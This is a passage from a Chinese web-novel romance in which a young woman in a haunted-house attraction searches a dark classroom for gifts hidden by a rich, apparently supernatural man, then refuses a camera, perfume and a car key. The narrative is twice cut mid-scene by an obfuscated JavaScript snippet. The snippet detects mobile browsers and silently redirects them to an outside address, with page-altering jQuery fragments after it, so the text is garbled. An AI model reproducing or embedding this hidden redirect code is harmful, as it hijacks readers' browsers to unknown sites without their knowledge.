他长得高,又站在讲台上,实在太有压迫感,宁咚青退后了一步,腰间撞到了桌角,不疼。 她低头一看,向柯的手刚好抵在那,给她当了肉垫。 宁咚青不着痕迹地往旁边移了两步,随后道:“你怎么在这?” 向柯直起身子,懒洋洋地抱着手往讲桌上一靠:“打个临时工,管饭,工资一千。” 工作五天,工资一千还管饭?这老板慈善家? 向柯似乎是知道她心里想的什么,勾唇道:“找朋友帮了点忙。” 他特意加重了“朋友”两个字的读音,宁咚青会意——所谓的朋友,是钟运喜。 这两人估计联合起来给游乐园老板下蛊了。 向柯看她眼珠子转来转去打量人的模样,便存了逗她的心思。 他手撑在讲桌上,俯身凑到宁咚青耳边,低声道:“是用了一点小手段。哦,对了,我是第一关的npc,来玩个游戏吧?赢了,我就把地图碎片给你。” 宁咚青狐疑地睨他一眼,问:“不是解谜吗?” 怎么变成玩游戏了。 “我是第一关的npc,怎么玩,我说了算。” 向柯勾唇笑了下,抬眸望向教室后门躲在阴影里的人,随后打了个响指。 教室里渲染恐怖氛围的灯灭了,宁咚青陷入了一片黑暗,周围寂静无声,她试着喊了一声韩笑笑,却无人应答。 漆黑的环境让她非常没有安全感,宁咚青皱起眉:“向柯,你把灯打开。” 没人回答她。 片刻后,阴森的音乐幽幽从四面八方传来,宁咚青吓了一跳,摸黑着要去找一个支撑物,却撞到了一个人的怀里。 “害怕了?” 是向柯的声音。 宁咚青抬起手就是一巴掌:“你别装神弄鬼,把灯打开!” “灯打开怎么玩游戏?” 黑暗中,向柯精准地抓住她挥过来的手,语气戏谑。 宁咚青默了默,将被拦截在半空中的手抽回来,说道:“你说吧,什么游戏?” “我在这间教室里藏了三样东西,十五分钟之内,找出来就算你赢。” 向柯垂下目光看她:“怎么样?” “可是我什么都看不见,这里东西这么多,摔倒了怎么办?”宁咚青咕哝着,“我近视还有散光。” “我能看见啊。”向柯抱着手,“我跟着你,不会让你摔倒的。” 宁咚青点了点头,抬脚就要往前走,向柯扶着她的肩膀给她转了个圈:“这边,直走。” 宁咚青摸黑着走了两步,忽然想到韩笑笑,又停下脚步,问:“对了,笑笑呢?” “她啊……”向柯往后撤了一步,和宁咚青拉开距离,“她被钟运喜带走了,不知道在哪。” “?” 宁咚青猛地转身,二话不说,对着后面就来了一拳,然而扑了个空。 “你们怎么这样?”太黑了,宁咚青不敢贸然往前走,只能站在原地,她气得声音都在抖,“笑笑害怕他,你又不是不知道!是你和他说笑笑在这的吧?” “不是我。”向柯摸了摸鼻尖,掩饰自己的心虚,“钟运喜自己发现的。” 他越说越没底气,宁咚青气得脑袋嗡嗡响,像掀开了天灵盖,装了一千万只蜜蜂进去,头都快炸了。 她也不管看不看得见了,大步流星地往前走,准备出去找韩笑笑,结果没走两步,就撞倒了一张桌子。 小腿还磕在了椅子边上,疼得她闭了下眼睛。 向柯将椅子移远了,小心翼翼地问:“你没事吧?” 宁咚青揉了揉腿,将手一伸,语气不善:“你在哪?” 向柯握住她伸出来的手:“在这。” 宁咚青:“带我出去。” “……”向柯迟疑了两秒,“不行,npc不能乱走。” 这会知道遵守规则了? 宁咚青皱着眉:“那你把灯打开,我自己出去。” 向柯:“这里很大的,你得按着地图走才能找到出口。” 宁咚青:“我原路返回不行吗?” 向柯面不改色:“当然不行了。” ——其实可以的。 宁咚青又说:“那你把地图碎片给我,我去下一关了。” 向柯义正言辞地拒绝:“秉持着公平公正公开的原则,我不开后门。” 宁咚青:“……” “没事的,你不用担心韩笑笑,钟运喜又不会吃了她。再说,你也找不到他们。”向柯抓着宁咚青的手晃了晃,“来玩游戏吧,来吧?” 他的后半句宁咚青当作没听见,只是说:“钟运喜要干什么?” “他说要把误会解释清楚。”向柯淡淡地道,“可能旧情未了吧。” 宁咚青:“……” “不要管他们了。”向柯暗戳戳地勾着宁咚青的手指,“你快去找东西。” 事已至此,她先把鬼屋走完再说吧。宁咚青叹了口气,摸索着往他刚才指的地方慢慢走。 向柯跟在她身后,适时出声:“前面是台阶。” 宁咚青抬腿,摸索着来到黑板前,“什么东西啊,能藏在黑板里。” 宁咚青摸着黑板下面接粉笔灰的卡槽,最后在角落里找到一条四四方方的小东西,她摸了摸,好像是口红。 宁咚青转头,和向柯确认:“这个?” 向柯嗯了声:“还有两样,一个在靠过道的某一张桌子里,还有一个在教室后面。” “藏这么远干什么?”宁咚青心里还憋着股气,说出来的话总带点刺。 向柯知道她在气头上,没吭声。 宁咚青拿脚尖去探路,一点点往前挪,结果好半天没够到讲台的台阶边,她耐心告罄,不耐烦地啧了一声。 向柯非常有眼力见地隔着手臂揽过她的腰,将她抱了下去,然后好整以暇地站在原地等着被夸。 然而宁咚青沉默了几秒,发出灵魂拷问:“谁准你抱我的?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755412|157696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>向柯眨了眨眼睛:“……对不起。” 虽然不知道为什么她又生气了,但是先道歉总没错。 宁咚青没搭话,扶着中间的课桌走到靠门的那一组,手伸到桌洞里翻找东西。 桌洞都是空的,宁咚青翻到中间的课桌才翻到一个硬/邦邦的东西,很大,很重。她把它拿出来抱在怀里,出声问道:“是这个吗?这是什么东西?” 宁咚青一边说着一边动手去摸,这东西的上面是光滑的,下面有很多沟壑,凹凸不平,她还没摸出来是什么,手上一轻——怀里的东西被向柯抽走了。 “不是这个。”他说,“是个礼物盒,上面绑了蝴蝶结丝带。” “哦。”宁咚青指指他手上的东西,“那这个是什么?” 向柯说:“骷髅头。” “……” 宁咚青又折回去翻桌洞,她一边翻一边问:“找这些东西有什么用吗?后面解谜需要?” “不需要,关卡都是独立的。”向柯道,“这些东西是送你的礼物。” 宁咚青有些意外:“你们鬼屋待遇这么好?” 进来玩一趟还送礼物。 向柯抿了抿唇,淡声道:“是我送你的。” “刺啦——” 课桌被宁咚青推出去了一段距离,和地面摩擦,发出一阵刺耳的声音。 “你为什么要送我礼物?” 向柯说:“还人情。” “你什么时候欠我人情了?”宁咚青奇怪道。 “就……昨天你给我送晚饭。” 他看她端着大碗小碗上楼给他送饭,觉得挺麻烦她的,愧疚感油然而生。 “没想到你脸皮这么薄。”宁咚青打趣了他一句,又问,“你怎么知道我要来鬼屋?” 还藏礼物。 “我不知道。”向柯说,“礼物是今早买的,本来想着晚上回去的给你的。” 他顿了顿又说:“没想到在这遇到你了,就顺手藏了。” “钟运喜也在这当npc?”宁咚青问。 向柯回答:“嗯,刚刚的灯就是他帮我关的。” “呵。”宁咚青冷笑了一声,“狐朋狗友。” 向柯没吭声,宁咚青又道:“他这么擅离职守,你们老板知道吗?” “不知道吧。”向柯耸耸肩,“反正他会术法,区区一个人类能拿他怎么样?” 宁咚青见缝插针地刺他:“你好像很看不起人类。” 向柯靠着课桌,漫不经心地:“没有啊。” 宁咚青:“。” 毫无说服力。 这时,宁咚青翻到了一个盒子,方方正正的,她拿出来摸了摸上面的蝴蝶结:“是这个吧?” “嗯。”向柯走过来,“我帮你拿着?教室后面还有一个。” 谁知宁咚青却道:“我不想找了。” 她找了把椅子坐下,这种小孩过家家的游戏她不想陪他玩了。 “真不找了?” “嗯,累。” “那我拿给你吧。” 宁咚青在原地等着,过了一会儿,向柯拿着东西碰了碰她的手,她揪了一把:“这是什么东西?” “相机。” 16. 第 16 章 在他说完这句话后,鬼屋里的灯忽地亮了,红色的灯光打下来,照在向柯抹了红颜料的脸上,宁咚青不由得打了个寒颤。 也不知道是被他的脸吓的,还是被他手上拿着的相机吓的。 “相机?” 宁咚青不可置信地重复了一遍他所说的话。 向柯郑重地点点头。 宁咚青伸出食指,指了指自己:“送我?” “嗯,我看你挺喜欢拍照的。”向柯把相机放到课桌上,“还有那支口红,我不太懂,就找了网上比较受欢迎色号,应该也挺好看的。” 宁咚青张了张嘴,又抿唇,最后指了指礼物盒:“那这个里面是什么?” “香水。”向柯说,“木质茶香调,你打开闻闻,不喜欢我重新买。” 宁咚青:“……” 她刚刚借着灯光看了两眼,这三样礼物加起来都过万了,她不敢收。 宁咚青此刻觉得揣在怀里的口红和香水像个烫手山芋,在灼烧她的皮肤,她把礼物摆在桌上,朝着向柯的方向一推:“你还是拿回去吧。” “你不喜欢?”向柯眨眨眼睛,低下头去裤子口袋里翻找,“我还有一个,这个你应该喜欢。” 宁咚青看他执着的样子,想必今天是必须得收一个礼物了,装在口袋里的东西应该也不太贵重,宁咚青试探着问:“什么东西?” 向柯这时从包里掏出一个东西,放到桌上:“车钥匙。” 他洋洋得意地将手抱在胸前,等着被夸。 没有人能拒绝一辆车吧? 宁咚青:“?” 这人脑子坏掉了? 好半天,宁咚青都才找回了自己的声音:“你……开玩笑的吧。” “没有啊。”向柯觉得奇怪,“这有什么好开玩笑的?” 一辆车而已,又不是什么贵重的东西。 宁咚青挠了挠头,第一次觉得言语匮乏。 向柯见她好半天都不说话,以为她在车和其他三样礼物之间纠结,于是善解人意道:“你都收下吧。” “……” 宁咚青抿了抿唇:“我一个都不能收。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765579|157696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这四样里最便宜的是那支四百块的口红,如果向柯只送她这个,她还是能接受的,四百块的人情她能还,但是…… 几万的相机和几百万的车她怎么还???!!! 去卖/肾吗!!!什么肾值几百万啊!!! 她真想抱着向柯的脑袋使劲晃一晃,看看里面装的是不是水。一顿饭而已,哪有这么回礼的,更何况那顿饭还不是她做的。 不至于,真的不至于。 宁咚青还想说什么,向柯却不知道从哪拿了个塑料袋出来,把东西一股脑地装进去,往宁咚青面前一递:“喏。” 宁咚青站起身来,推脱道:“真不能收,你自己留着。” “主要我留着没什么用。” 向柯看了看袋子里的东西,他又不涂口红,也不爱拍照,香水家里摆着十几瓶,车也有几辆……没办法,实在太有钱了,就是缺点香火。 “你挑几样吧。”向柯撑着袋子,“不然我心里挺过意不去的。” 宁咚青:“。” 到底是谁会过意不去。